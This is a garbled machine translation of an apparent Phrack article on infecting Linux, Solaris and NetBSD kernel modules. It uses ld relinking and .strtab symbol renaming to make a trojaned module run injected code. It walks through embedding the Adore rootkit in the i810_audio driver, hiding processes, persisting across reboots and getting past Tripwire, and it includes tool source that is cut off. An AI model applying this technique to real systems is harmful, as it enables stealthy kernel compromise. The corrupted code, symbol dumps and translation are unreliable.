== phrack inc. ==
Volume 0x0b, Issue 0x3d, Phile # 0x0a of 0x0f
| = ---------------- = [Infecting loadable kernel modules] = ---------------- = |
| = ------------------------------------------------ ----------------------- = |
| = -------------------- = [Truff
| = ------------------------------------------------ ----------------------- = |
| = ------------ = [Translator: osmose
LKM injection
- [Content
1 Introduction
2 - ELF basic knowledge
2.1 - the .symtab section
2.2 - the .strtab section
3 - Turn loadable kernel modules
3.1 - Module loading
3.2 - Modify .stRTAB Section
3.3 - Insert code
3.4 - Keep concealment
4 - instance
4.1 - The simplest LKM infection
4.2 - I will return back (after restart)
5 - About other operating systems
5.1 - Solaris
5.2 - * BSD
5.2.1 - FreeBSD
5.2.2 - NetBSD
5.2.3 - OpenBSD
6 Conclusion
7 - thanks
8 - Reference
9 - Source code
9.1 - ElfstrChange
9.2 - LKMINJECT
--[ 1 Introduction
For these years, many rootkit have used loadingable kernel modules. This is just a short flow.
Is there a behavior? No, LKM is widely used than its powerful features: you can hide files, there are other processes.
Some wonderful. For the first generation of rootkits, use the lsmod command to easily find them.
We have seen many hidden modules, such as those mentioned in Plaguez [1], there are more
Skills used in Adore Rootkit [2]. After a few years, we also saw some new technologies:
/ dev / kmem [3] Modify the Kernel Memory Image. Finally, reference information [4]
We demonstrate static kernel patching technology. This technology solves a big problem:
Rootkit can be reloaded after the machine is restarted.
(Translator Note: Find a way to operate in LSMOD, for your understanding. "In Keernel 2.0.x, the instruction
'LSMOD' is to open the file '/ proc / modules' to learn which of the system is loaded. but
After the Kernel 2.1.x, the system provides a function of 'query_module'. Therefore, the "LSMOD '"
This is to obtain the system-loaded Module related information through call query_module. ") This article proposes a new technology that hides LKM Rootkits and guarantees that these rootkit can be able to restart.
Reload. The article will mention how to infect a system used in the kernel module. This article is targeting Linux Kernel
X86 2.4.x series, but this technology can be promoted in any system using ELF file format. To understand this
Technology requires some basic knowledge. The kernel module is an ELF Object file, we need to understand a little ELF format, especially
It is a knowledge about the symbol naming section. Since then, we will then learn the module loading mechanism to learn how to put malicious generations.
The code is inserted into the kernel module. Finally, actually operate the module insertion.
- [2 - ELF foundation
Executable & Linking Format (ELF) is used on Linux operating systems
The executable file format. We must first understand some of the relevant knowledge, it is used in the future (if you want to fully understand the ELF format,
Please refer to [1]). When link two ELF Object files, the link needs to know each Object file.
Some of the relevant symbols. Each ELF Object file (those Object files such as LKM) contain two
Part (Translator Note: It is the text. Symtab and .sturtab two sections). These two sections are used
To store the information structure of each symbol. We must not only study them, but also summarize some of the infected kernel modules.
Idea.
---- [2.1 - .ssymtab section
This part is a list of structures. When the linker uses the symbols in the ELF Object file, they need these
data. The definition of this structure can be found in /usr/include/elf.h:
/ * Symbol Table Entry. * / (Symbol List Inlet)
Typedef struct
{
ELF32_WORD ST_NAME; / * SYMBOL Name (String TBL INDEX) * / (Symbol Name (String List Index))
ELF32_ADDR ST_VALUE; / * SYMBOL VALUE * / (Value of symbols)
ELF32_WORD ST_SIZE; / * SYMBOL SIZE * / (Signature of Sign Data Space)
Unsigned char st_info; / * symbol type and binding * / (symbol type and binding)
Unsigned char st_other; / * Symbol Visibility * / (seeability of symbol)
ELF32_SECTION ST_SHNDX; / * Section INDEX * / (index of each section)
ELF32_SYM;
Here we are only interested in ST_NAME. In fact, it is the index of the .strtab section, and the names of those symbols are
Stored inside .strtab.
---- [2.2 - .strtab Section
.strtab section is a list of non-empty strings. As we see, ST_NAME in Elf32_SYM
Yes .strtab section index. If we are looking for symbols in a string, we can very convenient to get this
The offset address of the string. Here is our computing formula:
OFFSET_SYM_NAME = Offset_StRTAB ST_NAMEOFFSET_STRTAB is .STRTAB Section can be solved by the section name relative to the offset address at the beginning of the file.
Analysis of the mechanism. This is not very big and what we have to talk about is not very big, and it will not be study here. References [5] explore in detail
This problem, which gives the specific implementation code.
It can now be said that in the ELF Object file, we can easily find the symbolic name and modify them. However, modification process
Always keep in mind a point: .strtab section is composed of continuous non-empty strings, this is a new symbol name after modification
Switch: The length of the new name cannot exceed the length of the original, otherwise it will be. StrTab in the next symbol. (Translator Note:
Like the truth of overflow, the new name length exceeds the original set value, and the part of the more, will write to a symbolic name area behind,
Cover some of the useful parts)
Obey this, we can make a simple modification of the symbolic name without affecting the normal operation of the module, and finally implements one
A module infects another module.
- [3 - Turn on Loadable Kernel Modules
The source code for dynamically loaded module programs is given below. Understand this, we can learn to insert generation in the module
Code.
---- [3.1 - Module load
The loading of the kernel module is implemented by the INSMOD user space tool. Insmod is included in the MODUTILS package [6].
What we are interested is the init_module () function in the insmod.c file.
Static int init_module (const char * m_name, struct obj_file * f,
Unsigned long m_size, const char * blob_name,
Unsigned int NOLOAD, Unsigned Int flag_load_map
{
(1) struct module * module;
Struct obj_section * sec;
Void * image;
INT RET = 0;
TGT_LONG M_ADDR;
....
(2) Module-> init = Obj_symbol_final_value (f,
Obj_find_symbol (f, "init_module"));
(3) Module-> Cleanup = Obj_Symbol_Final_Value (f,
Obj_find_symbol (f, "cleanup_module"));
....
IF (RET == 0 &&! NOLOAD) {
Fflush (stdout); / * flush any debugging output * /
(4) RET = SYS_INIT_MODULE (m_name, (struct module *) image;
IF (re) {
Error ("INIT_MODULE:% M");
Lprintf
"Hint: Insmod Errors Can Be Caused by IncorRect Module Parameters,"
"Including Invalid Io or Irq Parameters./N"
"You May Find More Information in Syslog or the Output from Dmesg");
}
}
In (1), the function fills the data necessary for the load module to a struct module (Struct Module). The part that needs attention is init_module and cleanup_module. This is two function pointers, points to
The load module's init_module () and cleanup_module () functions. (2) Obj_find_symbol inside ()
Function Traverse Sign List Find the name of the name for the init_module, then extract this structure symbol (Struct
Symbol) and pass it to Obj_Symbol_Final_Value (). The latter extracts from this structural symbol
The address of the INIT_MODULE function. Similarly, this work in (3) is repeated for cleanup_module ().
all over. It is necessary to keep in mind that the function called when the module is initialized or end, they are in the entrance of .strtab section
The INIT_MODULE and CLEANUP_MODULE are respectively corresponding.
When the structural module is filled, (4) uses SYS_INIT_MODULE () system call (Syscall)
The notification core loads the corresponding module.
The program calls SYS_INIT_MODULE () during the module loading process, where we are interested in. This letter
The number of code can be found in /usr/src/linux/kernel/module.c:
ASMLINKAGE Long
SYS_INIT_MODULE (const char * name_user, struct module * mod_user)
{
Struct Module MOD_TMP, * MOD;
Char * name, * n_name, * name_tmp = NULL;
Long Namelen, N_Namelen, I, Error
Unsigned long mode_user_size;
Struct Module_ref * DEP;
/ * A lot of Sanity Checks * /
.....
/ * Ok, the top is all of the Sanity Checks we can endure; the rest of the copy is as follows. * /
(1) IF (Copy_From_user ((char *) MOD MOD_USER_SIZE,
(char *) MOD_USER MOD_USER_SIZE,
MOD-> SIZE-MOD_USER_SIZE)) {
Error = -efault;
Goto Err3;
}
/ * Other Sanity Checks * /
....
/ * Initialization module * /
Atomic_SET (& Mod-> Uc.useCount, 1);
MOD-> FLAGS | = mod_initializing;
(2) IF (MOD-> INIT && (Error = mod-> init ())! = 0) {
atomic_set (& mod-> uc.usecount, 0);
MOD-> Flags & = ~ mod_initializing;
IF (Error> 0) / * buggy module * /
Error = -ebusy;
Goto ERR0;
}
Atomic_Dec (& Mod-> Uc.useCount);
After some Sanity Check, the structural module is copied from the user space by copy_from_user ()
To the kernel space. Then (2) is called by using the mod-> init () function pointer to the load module.
INIT_MODULE () function. The value of mod-> init () This pointer is filled by INSMOD tool. ---- [3.2 - Modify .strtab Section
The front has been mentioned, by checking the string in the .strtab section, we can locate the init function in the module.
address. By modifying this string, we can perform other functions when the module is loaded.
Modify. There are several ways to atstab Section entry. The -wrap parameter of the LD can be done. But this method and us
The -R parameter (chapter 3.3) to be used later is not compatible. In the chapter 5.1, we will see how to complete this with XXD.
Work. I wrote a tool (chapter 9.1) automatically performs this.
Here is a simple example:
$ cat test.c
#define module
#define __kernel__
#include
#include
INT init_module (void)
{
Printk ("<1> INTO INIT_MODULE () / N");
Return 0;
}
INT Evil_Module (Void)
{
Printk ("<1> INTO EVIL_MODULE () / N");
Return 0;
}
INT CLEANUP_MODULE (VOID)
{
Printk ("<1> INTO CLEANUP_MODULE () / N");
Return 0;
}
$ cc -o2 -c Test.c
Let us see. Symtab and .strtab two sections:
$ objdump -t test.o
Test.o: File Format ELF32-I386
Symbol Table:
0000000000000000-008 000000000000000000000000000000 Test.c
0000000000000000 L d .Text 00000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
000000000000000000 L o .Modinfo 0000000000000016 __Module_kernel_version
0000000000000000-008 0000-00-00
00000000000000000000000000000000000000000000000000000000
0000000000000000 g f .text 0000000000000014 Init_Module
00000000000000-003000000 000000000000000 Printk
0000000000000014 G f .text 0000000000000014 Evil_Module
0000000000000028 G f .text 0000000000000014 Cleanup_module
We will immediately modify the two ports of the .strtab Section to change the symbolic name of the Evil_Module to INIT_MODULE.
First, you must rename the init_module symbol. In the same ELF Object file, the same values in both nature
The name cannot be repeated. Below is the operation process: rename
1) INIT_MODULE ----> DUMM_MODULE
2) Evil_Module ----> Init_Module
$ ./elfstrchange test.o init_module dumm_module
[ ] Symbol Init_Module Located AT 0x3DC
[ ] .strtab Entry Overwriten with dumm_module
$ ./elfstrchange test.o evil_module init_module
[ ] Symbol Evil_Module Located AT 0x3ef
[ ] .strtab Entry Overwriten with init_module
$ objdump -t test.o
Test.o: File Format ELF32-I386
Symbol Table:
0000000000000000-008 000000000000000000000000000000 Test.c
0000000000000000 L d .Text 00000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
000000000000000000 L o .Modinfo 0000000000000016 __Module_kernel_version
0000000000000000-008 0000-00-00
00000000000000000000000000000000000000000000000000000000
0000000000000000 g f .text 0000000000000014 DUMM_MODULE
00000000000000-003000000 000000000000000 Printk
0000000000000014 g f .text 0000000000000014 Init_Module
0000000000000028 G f .text 0000000000000014 Cleanup_module
# insmod test.o
# tail -n 1 / var / log / kernel
May 4 22:46:55 Accelerator Kernel: INTO EVIL_MODULE ()
As we see, evil_module () is called as init_module ().
---- [3.3 - Insert code
The continuous development of technologies makes replacement functions and has become possible, but this is not particularly interesting. if we
It is better to insert an external code in an existing module. There is a way to * easily * do this - use
LD this magic weapon.
$ Cat Original.c
#define module
#define __kernel__
#include
#include
INT init_module (void)
{
Printk ("<1> INTO INIT_MODULE () / N");
Return 0;
}
INT CLEANUP_MODULE (VOID)
{
Printk ("<1> INTO CLEANUP_MODULE () / N");
Return 0;}
$ cat inject.c
#define module
#define __kernel__
#include
#include
INT INJE_MODULE (VOID)
{
Printk ("<1> Injected / N");
Return 0;
}
$ cc -o2 -c Original.c
$ cc -o2 -c incject.c
The important part begins. Since the kernel module is an ELF Object file that can be relocated, the code insert is not a
problem. This Object file can share each other's symbols after the link. Again here there is a principle: to link in one
There are no symbols in several modules. Use the LD command to complete a part of the link, do not change
The nature of the link file. The modules thus declared can be loaded by the kernel.
$ ld -r original.o inject.o -o evil.o
$ MV Evil.o Original.o
$ objdump -t Original.o
Original.o: File Format ELF32-I386
Symbol Table:
0000000000000000 L d .Text 00000000000000
000000000000002 million L D * ABS * 0000000000000000
0000000000000000-008 0000-00-00
00000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000
000000000000002 million L D * ABS * 0000000000000000
000000000000002 million L D * ABS * 0000000000000000
000000000000002 million L D * ABS * 0000000000000000
0000000000000000-008 0000000000000000000000 Original.c
000000000000000000 L o .Modinfo 0000000000000016 __Module_kernel_version
0000000000000000-008 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000016 L o .Modinfo 0000000000000016 __Module_kernel_version
0000000000000014 g f .text 0000000000000014 Cleanup_module
0000000000000000 g f .text 0000000000000014 Init_Module
00000000000000-003000000 000000000000000 Printk
0000000000000028 G f .text 0000000000000014 INJE_MODULE
Such an inJE_Module () function will be linked into the module. Now we have to modify .strtab section to ensure modules
When loading, INJE_MODULE () instead of init_module ().
$ ./elfstrchange original.o init_module dumm_module [ ] Symbol init_module located AT 0x4a8
[ ] .strtab Entry Overwriten with dumm_module
$ ./lfstrchange original.o inje_module init_module
[ ] Symbol INJE_MODULE LOCATED AT 0x4BB
[ ] .strtab Entry Overwriten with init_module
Open fire:
# Insmod Original.o
# tail -n 1 / var / log / kernel
May 14 20:37:02 accelerator kernel: injected
The miracle happened :)
---- [3.4 - Keep hidden
Most of the time we have to infect the modules that are using. If we use other functions to replace
INIT_MODULE (), the original function of the module cannot be played. Eye people can easily find this infected
Module. There is a solution to keep the original features and insert our code. .stl
After being HACK, the real init_module () function is renamed Dumm_Module. If I
Insert Dumm_Module () in the inserted evil_module () function, then true init_module ()
It is performed when the module is initialized, so that the original function of the module will not be destroyed.
replace
INIT_MODULE ------> DUMM_MODULE
INJE_MODULE ------> Init_Module (will call DUMM_MODULE)
$ Cat Stealth.c
#define module
#define __kernel__
#include
#include
INT INJE_MODULE (VOID)
{
DUMM_MODULE ();
Printk ("<1> Injected / N");
Return 0;
}
$ cc -o2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ MV Evil.o Original.o
$ ./lfstrchange original.o init_module dumm_module
[ ] Symbol init_module located AT 0x4c9
[ ] .strtab Entry Overwriten with dumm_module
$ ./lfstrchange original.o inje_module init_module
[ ] Symbol INJE_MODULE LOCATED AT 0X4E8
[ ] .strtab Entry Overwriten with init_module
# Insmod Original.o
# tail -n 2 / var / log / kenel
May 17 14:57:31 accelerator kernel: INTO init_module ()
May 17 14:57:31 accelerator kernel: injected
It's so, we have been executed after the code is running in normal code, this is enough.
- [4 - instance
The method of modifying the init_module () is equally applicable to the Cleanup_Module () function. In this way, we will
You can insert a complete module into another module. I have inserted the famous adore [2] rootkit into my sound card driver (i810_audio.o) through simple processing.
---- [4.1 - the simplest LKM infection
1) We must make a little modification for adore.c.
* Add to Dumm_Module () call in the init_module () function
* Add to Dummcle_Module () in the Cleanup_Module () module function
* Change the init_module function name to EVIL_MODULE
* Change the Cleanup_Module function name to Evclean_Module
(Translator Note: Pay attention to always maintain the length of the function and the consistency of the original name)
2) Compile Adore with a Make command
3) link adore.o and i810_audio.o.o
LD -R I810_AUDIO.O ADORE.O -O Evil.o
If the module to be inserted is already loaded, you must first uninstall it:
RMMOD I810_AUDIO
MV Evil.o i810_audio.o
4) Modify .strtab Section
replace
INIT_MODULE ------> DUMM_MODULE
Evil_Module ------> Init_Module (will call DUMM_MODULE)
Cleanup_module ------> evctlean_module
Evclean_Module ------> Cleanup_Module (will call evctlean_module)
$ .Alfstrchange I810_AUDIO.O init_module dumm_module
[ ] Symbol init_module located at 0xa2db
[ ] .strtab Entry Overwriten with dumm_module
$ ./lfstrchange i810_audio.o evil_module init_module
[ ] Symbol Evil_Module Located AT 0xA4D1
[ ] .strtab Entry Overwriten with init_module
$ ./lfstrchange i810_audio.o cleanup_module dummcle_module
[ ] Symbol Cleanup_Module Located AT 0xA169
[ ] .strtab Entry Overwriten with Dummcle_Module
$ .Alfstrchange i810_audio.o evctlean_module cleanup_module
[ ] Symbol Evclean_Module Located AT 0xA421
[ ] .strtab Entry Overwriten with cleanup_module
5) Load and test modules
# insmod i810_audio
# ./ava
USAVA {H, U, R, R, I, V, U} [File, PID or Dummy (for u)]
h hide file
u unide file
R execute as root
R Remove Pid Forever
U uninstall adore
I make pid invisible
v Make Pid Visible
# ps
PID TTY TIME CMD
2004 PTS / 3 00:00:00 Bash
2083 PTS / 3 00:00:00 PS
# ./ava I 2004
Checking for adore 0.12 or higher ... adore 0.53 installed. Good luck.
Made PID 2004 Invisible.
Root @ accelerator: / home / truff / adore # ps
PID TTY TIME CMD
#
Perfect :) In order to facilitate lazy people, I wrote a simple shell script (chapter 9.2) doing these work.
---- [4.2 - I will return back (after restart)
When the module is loaded, we have two options for future needs:
* Replace / lib / modules / in the real module with the infected module.
This ensures that our rear door can be reloaded after reboot. However, this will also be like TripWire [7]
The HIDS (Host Intrusion Detection System file intrusion monitoring system) found. But don't be too big.
Heart, the kernel module is neither an executable file nor a suid file, if the administrator configures HIDS rules
Not too metamorphosis, still can't find our head.
* Do not move those real kernel modules on / lib / modules, and delete the infected modules. This way, ie
Make HIDS monitoring files, they can only return.
- [5 - About other operating systems
---- [5.1 - Solaris
I explain this example through a basic kernel module in [8]. Solaris kernel modules use three basic functions:
- _init module is initialized
--_fini module is called when unloading
- _Info When the user uses the modinfo command, it is responsible for output module information.
$ uname -srp
Sunos 5.7 SPARC
$ CAT MOD.C
#include
#include
#include
EXTERN STRUCT MOD_OPS MOD_MISCOPS;
Static struct modmisc modmisc = {
& mod_miscops,
"Real loadable kernel module",
}
Static struct modlinkage model {
Modrev_1,
(void *) & modmisc,
NULL
}
Int _init (void)
{
INT I;
IF ((i = MOD_INSTALL (& MODLINKAGE)))! = 0)
CMN_ERR (CE_NOTE, "Could Not Install Module / N");
Else
CMN_ERR (CE_NOTE, "MOD: SUCCESSFULLY Installed");
Return I;
}
INT _INFO (STRUCT MODINFO * MODINFOP)
{
Return (MOD_INFO (& MODLINKAGE, MODINFOP);
}
Int _fini (void)
{
INT I;
IF ((i = mod_remove (& modlinkage)))! = 0)
CMN_ERR (CE_NOTE, "Could NOT Remove Module / N");
Else
CMN_ERR (CE_NOTE, "MOD: SUCCESSFULLY REMOVED");
Return I;
}
$ GCC -M64 -D_kernel -dsrv4 -dsol2 -c mod.c $ ld -r-mo mod mod.o
$ FILE MOD
MOD: ELF 64-bit MSB Relocatable Sparcv9 Version 1
As we see in the Linux example, we must include the adjustment of the true init function in the code we have to insert.
Using so that modules can work as it is the same. However, we have to face a question: if we are in the module
After the link is changed .StrtAb Section, the dynamic loader cannot find the _dumm () function, the module is natural
It cannot be loaded normally. I don't have too deep research on this issue, but I think Solaris's dynamic loading
The program will not find those symbols that are not defined in the module. So the problem solves: we only need to put it before the link
The _init is renamed _dumm in the .strtab entrance.
$ readelf -s mod
There are 10 Section's Header (Section Headers), and their offset addresses start from 0x940.
Section headers:
[NR] name type address offset
Size EntSize Flags Link Info Align
[0] null 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000-008 00000000000000000000000000000000000000000000000000000000 0 0 0
[1] .text progbits 000000000000000000 0000000040
00000000000188 00000000000000000000000000000000000000000 AX 0 0 4
[2] .RODATA Progbits 00000000000000000000 00000000000001C8
00000000000000000000000000000000000000 A 0 0 8
[3] .data progbits 0000000000000000 00000000268
00000000000050 000000000000000000 WA 0 0 8
[4] .ssymtab Symtab 00000000000000000000000000000000000002B8
000000000000210 0000000000000018 5 E 8
[5] .strtab stratab 0000000000000000 0004C8
00000000000065 000000000000000000 0 0 1
[6] .comment progbits 0000000000000000 000000002D
0000000000003000000000000000000000000 0 0 1
[7]. SHSTRTAB stratab 00000000000000000000 00000000000000000000000000000000000000000000000000000000000000002
0000000000004E 000000000000000000 0 0 1
[8] .re.text transa 0000000000000000000000002000000000000200000000000018 4 1 8
[9] .rela.data RELA 0000000000000000 000008f8
00000000000048 00000000000018 4 3 8
Flag Note:
W (Write), A (Alloc Assignment), X (Execute Execution), M (Merge Merge), S (Strings String)
I (Info Information), L (Link ORDER Link Sequence), G (Group), X (Unknown Unknown)
O (Extra OS Processing Required requires additional system processing), O (OS SPECIIC Developing Operating System)
P (Processor Specific Specified Processor)
The start offset address of the .stab section is 0x4c8, the size is 64 bits. Below we use vi and xxd as our
16-bit editor modified .strtab section. Use the vi mode this command to open the module in the VI. Then enter:%! Xxd
The module is converted into a 16-based. You will see the following characters:
00004c0: 0000 0000 000 00 006d 6F64 006D 6F64 ......... mod.mod
00004D0: 2E63 006D 6F64 6C69 6E6B 6167 6500 6D6f .c.modlinkage.mo
00004E0: 646C 6D69 7363 006D 6F64 5F6D 6973 636F DLMISC.MOD_MISCO
00004F0: 7073 005F 696E 666F 006D 6F64 5F69 6E73 PS._INFO.MOD_INS
0000500: 7461 6C6C 005F 696E 6974 006D 6F64 5F69 Tall._init.mod_i
^^^^^^^^^^
We use _dumm to replace _init, only modify four bytes.
00004c0: 0000 0000 000 00 006d 6F64 006D 6F64 ......... mod.mod
00004D0: 2E63 006D 6F64 6C69 6E6B 6167 6500 6D6f .c.modlinkage.mo
00004E0: 646C 6D69 7363 006D 6F64 5F6D 6973 636F DLMISC.MOD_MISCO
00004F0: 7073 005F 696E 666F 006D 6F64 5F69 6E73 PS._INFO.MOD_INS
0000500: 7461 6C6C 005F 6475 6D6D 006D 6F64 5F69 Tall._init.mod_i
^^^^^^^^^^^^^
^^^^
(Translator Note: It seems to be DUMM,
May be a pen error)
Use:%! Xxd -r this command to convert the module from 16 into the back, save the exit. Then let's confirm that we
Whether the modification is successful.
$ objdump -t mod
MOD: File Format ELF64-SPARC
Symbol Table:
00000000000000000002 0000 20000000000000000000000 MOD
0000000000000000 L d .Text 00000000000000
0000000000000000 L d .Rodata @0000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000002 million L D * ABS * 0000000000000000
000000000000002 million L D * ABS * 0000000000000000
00000000000000000000000000000000000000000000000000000000
000000000000002 million L D * ABS * 0000000000000000
000000000000002 million L D * ABS * 0000000000000000
000000000000002 million L D * ABS * 0000000000000000
0000000000000000-008 000000000000000000000000 MOD.C
0000000000000010 L o .data 0000000000000040 MODLINKAGE
0000000000000000000000000000000000000000000000000000000010 MODLMISC
0000000000000000-008 00000000000000 MOD_MISCOPS
00000000000000A4 g f .text 0000000000000040 _INFO
0000000000000000-0080000000000 MOD_INSTALL
0000000000000000 g f .text 0000000000000188 _DUMM
00000000000000-00 0000000000000000000000 MOD * 0000000000 MOD_INFO
00000000000000-008 000000000000000000 MOD_REMOVE
0000000000000000E4 g f .text 0000000000000188 _fini
0000000000000000-008 00000000000000000000000000 CMN_ERR
It can be seen that _init has been replaced by _dumm. Now we can insert a named _init directly
The function is.
$ Cat Evil.c
Int _init (void)
{
_dumm ();
CMN_ERR (1, "Evil: Success Installed");
Return 0;
}
$ GCC -M64 -D_kernel -dsrv4 -dsol2 -c inject.c
$ ld -r -o inject inject.o
Insert the module with the LD command:
$ ld -r-e evil mod inject
Loading module:
# MODLOAD EVIL
# tail -f / var / adm / message
Jul 15 10:58:33 Luna UNIX: NOTICE: MOD: SUCCESSFULLY Installed
Jul 15 10:58:33 Luna UNIX: NOTICE: Evil: SuccessFully Installed
Use the _fini function to insert a full module into other modules and the same.
---- [5.2 - * BSD
------ [5.2.1 - FreeBSD
% uname -SRM
FreeBSD 4.8-Stable i386
% File /Modules/daemon_saver.ko
Daemon_saver.ko: ELF 32-Bit LSB Shared Object, Intel 80386, Version 1 (FreeBSD), Not Stripped
As we see, the FreeBSD kernel module is shared Object, so we can't use the LD command to make malicious
The code and module chain are connected together. Not only that, the mechanism of FreeBSD loading modules and Linux and Solaris are not
same. See /usr/src/sys/kern/kern_linker.c you understand. INIT / CLEANUP function name
Wushu. When initialization, the loader finds the init function in a structure of .data section.
Address, not by means of function name. Therefore, the method of Hack .stRTAB above is no longer applicable.
------ [5.2.2 - NetBSD
$ File Nvidia.o
NVIDIA.O: ELF 32-BIT LSB RELOCATABLE, Intel 80386, Version 1
(Sysv), Not stripped
The NetBSD kernel module is a relocated ELF Object file that can be inserted into the module. When using modload
When loading the kernel module, the loader links the module and kernel, and executes the code at the module entrance (generation
The code is placed in Elf Header).
After the link, we can modify the module entry. But there is no need to do this. The modload command provides "-e" participation
Number, so that we set which symbol is entry point.
Here is an example, we want to infect modules:
$ CAT Gentil_Lkm.c
#include
#include
#include
#include
#include
#include
MOD_MISC ("Gentil");
INT Gentil_Lkmentry (struct lkm_table *, int, int);
INT Gentil_LkmLoad (Struct LKM_TABLE *, INT);
INT Gentil_lkmunload (Struct LKM_TABLE *, INT);
INT Gentil_Lkmstat (struct lkm_table *, int);
INT Gentil_lkmentry (Struct LKM_TABLE * LKMT, INT CMD, INT VER)
{
Dispatch (LKMT, CMD, Ver, Gentil_LKMLOAD, GENTIL_LKMUNLOAD,
Gentil_lkmstat);
}
INT Gentil_LkmLoad (Struct LKM_TABLE * LKMT, INT CMD)
{
Printf ("Gentil: Hello, World! / N");
Return (0);
}
INT Gentil_LKMunload (Struct LKM_TABLE * LKMT, INT CMD)
{
Printf ("Gentil: Goodbye, World! / N");
Return (0);
}
INT Gentil_LKMSTAT (Struct LKM_TABLE * LKMT, INT CMD)
{
Printf ("Gentil: How you doin ', world? / n");
Return (0);
}
Below this section is the code to be inserted:
$ Cat Evil_Lkm.c # include
#include
#include
#include
#include
#include
INT Gentil_Lkmentry (struct lkm_table *, int, int);
int
INJECT_ENTRY (Struct LKM_TABLE * LKMT, INT CMD, INT VER)
{
Switch (cmd) {
Case LKM_E_LOAD:
Printf ("Evil: in Place / N");
Break;
Case LKM_E_UNLOAD:
Printf ("Evil: I'll Be Back! / N");
Break;
Case LKM_E_STAT:
Printf ("Evil: Report in Progress / N);
Break;
DEFAULT:
Printf ("Edit: Unknown Command / N);
Break;
}
Return Gentil_Lkmentry (LKMT, CMD, VER);
}
After compiling Gentil and Evil, we link them together:
$ ld -r -o evil.o gentsil.o inject.o
$ mv evil.o gentil.o
# MODLOAD -E Evil_ENTRY GENTIL.O
Module Loaded AS ID 2
# MODSTAT
Type ID Offset Loadaddr Size Info Rev Module Name
DEV 0 -1/108 D3ED3000 0004 D3ED3440 1 MMR
DEV 1-1/180 d3fa6000 03e0 D4090100 1 NVIDIA
Misc 2 0 E45B9000 0004 E45B9254 1 Gentil
# MODUNLOAD-N Gentil
# dmesg | tail
Evil: in place
Gentil: Hello, World!
Evil: Report in Progress
Gentil: How you don, world?
Evil: I'll be back!
Gentil: Goodbye, World!
Ok, everything is so perfect :)
------ [5.2.3 - OpenBSD
OpenBSD does not use the ELF file of the X86 architecture, so this technology has no use of martial arts. I am not in those
Tested on the platform of ELF, but I think they look similar to NetBSD, the above HACK technology should
Also applied. If you have succeeded on the openbsd platform using the ELF, tell me.
--[ 6 Conclusion
This article adds some methods of integrated code in the kernel. I propose this technology because you just have to do very little.
If you can realize the insertion of the code, it is really interesting.
Enjoy yourself :)
- [7 - Thank you
I want to thank Mycroft, Ouah, Aki and Afrique to give me comments and suggestions. Thank you very much for klem church.
Reverse Engineering.
Thanks to Fxkennedy to give me help in NetBSD.
A Big Kiss to Carla for Being Wonderfull. (Translator Note: I will not turn it out of this sentence ^ _ ^)
Finally, I thank everyone # ROOT, `Sprud, Hotfyre, Funka, Jaia, Climax, Redoktober ...
- [8 - Reference material
[1] Weakening the Linux kernel by Plaguez
http://www.phrack.org/show.php?p=52&a=18
[2] The adore rootkit by stealth
http://stealth.7350.org/rootkits/
[3] Runtime Kernel Kmem Patching by Silvio Cesare
http://vx.netlux.org/lib/vsc07.html
[4] static kernel Patching by jbtzhm
http://www.phrack.org/show.php?p=60&a=8
[5] Tool Interface Specification On Elf
Http://segfault.net/tis-elf_v1.2.pdf
[6] MODUTILS for 2.4.x Kernels
FTP: //ftp.kernel.org/pub/linux/UTILS/kernel/modutils/v2.4
[7] Tripwire
http://www.tripwire.org
[8] Solaris Loadable Kernel Modules by Plasmoid
http://www.thc.org/papers/slkm-1.0.html
- [9 - Source code
---- [9.1 - ElfstrChange
/ *
* Elfstrchange.c by Truff
* Change the value of a symbol name in the .strtab section
*
* Usage: ElfstrChange Elf_Object Sym_name SYM_NAME_REPLACED
*
* /
#include
#include
#include
#DEfine Fatal (x) {Perror (x); exit (exit_failure);}
INT ElfgetSectionname (file * fd, ELF32_word sh_name,
ELF32_SHDR * SHSTRTABLE, CHAR * RES, SIZE_T LEN);
ELF32_OFF ELFGETSYMBOLBYNAME (file * fd, ELF32_SHDR * SYMTAB,
ELF32_SHDR * STRTAB, CHAR * Name, ELF32_SYM * SYM);
ELF32_OFF ELFGETSYMBOLNAME (File * fd, Elf32_word sym_name,
ELF32_SHDR * STRTABLE, CHAR * RES, SIZE_T LEN;
INT main (int Argc, char ** argv)
{
INT I;
INT LEN = 0;
CHAR * STRING;
File * fd;
ELF32_EHDR HDR;
ELF32_SHDR SYMTAB, STRTAB;
ELF32_SYM SYM;
ELF32_OFF SYMOFFSET;
FD = fopen (Argv [1], "R ");
IF (fd == null)
Fatal ("FOPEN");
IF (FREAD (& HDR, SizeOf (ELF32_EHDR), 1, FD) <1) Fatal ("Elf Header Corrupted");
IF (ElfgetsectionByname (fd, & hdr, ".ssymtab", & symtab) == -1)
{
FPRINTF (stderr, "can't get.ssymtab section / n");
EXIT (exit_failure);
}
IF (ElfgetsectionByname (FD, & HDR, ".stRTAB", & Strtab) == -1)
{
FPRINTF (stderr, "can't get.strtab section / n");
EXIT (exit_failure);
}
Symoffset = ElfgetsymbolbyName (FD, & SymTab, & Stutab, Argv [2], & SYM);
IF (Symoffset == -1)
{
FPRINTF (stderr, "Symbol% s not found / n", argv [2]);
EXIT (exit_failure);
}
Printf ("[ ] Symbol% s located AT 0x% x / n", Argv [2], SYMOFFSET;
IF (FSeek (FD, Symoffset, Seek_set) == -1)
Fatal ("fseek");
